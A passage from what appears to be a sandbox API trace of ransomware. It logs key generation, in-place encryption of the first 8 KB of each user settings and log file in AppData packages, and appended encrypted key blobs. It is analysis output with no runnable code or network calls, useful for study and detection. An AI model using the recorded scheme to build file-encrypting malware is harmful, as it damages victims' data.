lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0159.403] SetFilePointer (in: hFile=0xfa4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.403] WriteFile (in: hFile=0xfa4, lpBuffer=0x5c3408*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3408*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0159.403] SetFilePointer (in: hFile=0xfa4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0159.403] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0159.403] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c55b0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c55b0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0159.403] WriteFile (in: hFile=0xfa4, lpBuffer=0x5c55b0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c55b0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0159.405] WriteFile (in: hFile=0xfa4, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0159.406] CloseHandle (hObject=0xfa4) returned 1 [0159.408] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0159.408] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0159.408] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Services.Store.Engagement_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0159.409] ReadFile (in: hFile=0xfa4, lpBuffer=0x2ed1068, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ed1068*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0159.414] SetFilePointer (in: hFile=0xfa4, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.414] WriteFile (in: hFile=0xfa4, lpBuffer=0x2ec9048*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec9048*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0159.415] SetFilePointer (in: hFile=0xfa4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0159.415] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0159.415] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0159.415] WriteFile (in: hFile=0xfa4, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0159.416] WriteFile (in: hFile=0xfa4, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0159.416] CloseHandle (hObject=0xfa4) returned 1 [0159.418] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c55b0 | out: pbBuffer=0x5c55b0) returned 1 [0159.418] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0159.418] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Services.Store.Engagement_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0159.419] ReadFile (in: hFile=0xfa4, lpBuffer=0x2ed1068, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ed1068*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0159.428] SetFilePointer (in: hFile=0xfa4, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.428] WriteFile (in: hFile=0xfa4, lpBuffer=0x2ecb050*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecb050*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0159.428] SetFilePointer (in: hFile=0xfa4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0159.428] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0159.429] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c55b0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c55b0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0159.429] WriteFile (in: hFile=0xfa4, lpBuffer=0x5c55b0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c55b0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0159.429] WriteFile (in: hFile=0xfa4, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0159.429] CloseHandle (hObject=0xfa4) returned 1 [0159.431] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4530 | out: pbBuffer=0x5c4530) returned 1 [0159.431] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0159.431] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Services.Store.Engagement_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0159.431] ReadFile (in: hFile=0xfa4, lpBuffer=0x5c3538, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0159.431] SetFilePointer (in: hFile=0xfa4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.431] WriteFile (in: hFile=0xfa4, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0159.431] SetFilePointer (in: hFile=0xfa4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0159.431] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0159.431] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0159.432] WriteFile (in: hFile=0xfa4, lpBuffer=0x5c4530*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4530*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0159.433] WriteFile (in: hFile=0xfa4, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0159.433] CloseHandle (hObject=0xfa4) returned 1 [0159.435] WriteFile (in: hFile=0xfac, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0159.436] CloseHandle (hObject=0xfac) returned 1 [0159.437] WriteFile (in: hFile=0xfac, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0159.438] CloseHandle (hObject=0xfac) returned 1 [0159.439] WriteFile (in: hFile=0xfac, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0159.440] CloseHandle (hObject=0xfac) returned 1 [0159.441] WriteFile (in: hFile=0xfb8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0159.442] CloseHandle (hObject=0xfb8) returned 1 [0159.442] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4110 | out: pbBuffer=0x5c4110) returned 1 [0159.442] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3428 | out: pbBuffer=0x5c3428) returned 1 [0159.442] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.SkypeApp_kzf8qxf38zg5c\\LocalState\\LogSettings.txt", dwFileAttributes=0x80) returned 1 [0159.443] ReadFile (in: hFile=0xfb8, lpBuffer=0x5c3438, nNumberOfBytesToRead=0x6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3438*, lpNumberOfBytesRead=0x2e1f9bc*=0x6, lpOverlapped=0x0) returned 1 [0159.444] SetFilePointer (in: hFile=0xfb8, lDistanceToMove=-6, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.444] WriteFile (in: hFile=0xfb8, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x6, lpOverlapped=0x0) returned 1 [0159.444] SetFilePointer (in: hFile=0xfb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x6 [0159.444] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0159.444] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0159.445] WriteFile (in: hFile=0xfb8, lpBuffer=0x5c4110*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4110*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0159.445] WriteFile (in: hFile=0xfb8, lpBuffer=0x5c3428*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0159.445] CloseHandle (hObject=0xfb8) returned 1 [0159.450] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4530 | out: pbBuffer=0x5c4530) returned 1 [0159.450] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0159.450] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.SkypeApp_kzf8qxf38zg5c\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0159.462] ReadFile (in: hFile=0xfc0, lpBuffer=0x5c33f8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0159.462] SetFilePointer (in: hFile=0xfc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.462] WriteFile (in: hFile=0xfc0, lpBuffer=0x5c3408*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3408*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0159.462] SetFilePointer (in: hFile=0xfc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0159.462] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0159.462] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0159.462] WriteFile (in: hFile=0xfc0, lpBuffer=0x5c4530*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4530*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0159.463] WriteFile (in: hFile=0xfc0, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0159.463] CloseHandle (hObject=0xfc0) returned 1 [0159.465] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0159.465] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33f8 | out: pbBuffer=0x5c33f8) returned 1 [0159.465] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.SkypeApp_kzf8qxf38zg5c\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0159.466] ReadFile (in: hFile=0xfc0, lpBuffer=0x2ecf060, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecf060*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0159.470] SetFilePointer (in: hFile=0xfc0, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.470] WriteFile (in: hFile=0xfc0, lpBuffer=0x2ecb050*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecb050*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0159.470] SetFilePointer (in: hFile=0xfc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0159.470] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0159.470] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0159.471] WriteFile (in: hFile=0xfc0, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0159.471] WriteFile (in: hFile=0xfc0, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0159.471] CloseHandle (hObject=0xfc0) returned 1 [0159.473] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4530 | out: pbBuffer=0x5c4530) returned 1 [0159.473] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0159.473] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.SkypeApp_kzf8qxf38zg5c\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0159.473] ReadFile (in: hFile=0xfc0, lpBuffer=0x2ecd058, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecd058*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0159.484] SetFilePointer (in: hFile=0xfc0, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.484] WriteFile (in: hFile=0xfc0, lpBuffer=0x2ecb050*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecb050*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0159.484] SetFilePointer (in: hFile=0xfc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0159.484] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0159.484] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0159.484] WriteFile (in: hFile=0xfc0, lpBuffer=0x5c4530*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4530*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0159.485] WriteFile (in: hFile=0xfc0, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0159.485] CloseHandle (hObject=0xfc0) returned 1 [0159.486] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0159.487] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0159.487] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.SkypeApp_kzf8qxf38zg5c\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0159.487] ReadFile (in: hFile=0xfc0, lpBuffer=0x5c34b8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0159.487] SetFilePointer (in: hFile=0xfc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.487] WriteFile (in: hFile=0xfc0, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0159.487] SetFilePointer (in: hFile=0xfc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0159.487] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0159.487] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0159.488] WriteFile (in: hFile=0xfc0, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0159.489] WriteFile (in: hFile=0xfc0, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0159.489] CloseHandle (hObject=0xfc0) returned 1 [0159.491] WriteFile (in: hFile=0xfcc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0159.492] CloseHandle (hObject=0xfcc) returned 1 [0159.492] WriteFile (in: hFile=0xfcc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0159.493] CloseHandle (hObject=0xfcc) returned 1 [0159.494] WriteFile (in: hFile=0xfcc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0159.495] CloseHandle (hObject=0xfcc) returned 1 [0159.497] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3be8 | out: pbBuffer=0x5c3be8) returned 1 [0159.497] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0159.497] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.StorePurchaseApp_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0159.497] ReadFile (in: hFile=0xfe0, lpBuffer=0x2ecd058, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecd058*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0159.508] SetFilePointer (in: hFile=0xfe0, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.508] WriteFile (in: hFile=0xfe0, lpBuffer=0x2ec5038*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec5038*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0159.508] SetFilePointer (in: hFile=0xfe0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0159.508] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0159.508] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0159.509] WriteFile (in: hFile=0xfe0, lpBuffer=0x5c3be8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3be8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0159.509] WriteFile (in: hFile=0xfe0, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0159.509] CloseHandle (hObject=0xfe0) returned 1 [0159.516] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4110 | out: pbBuffer=0x5c4110) returned 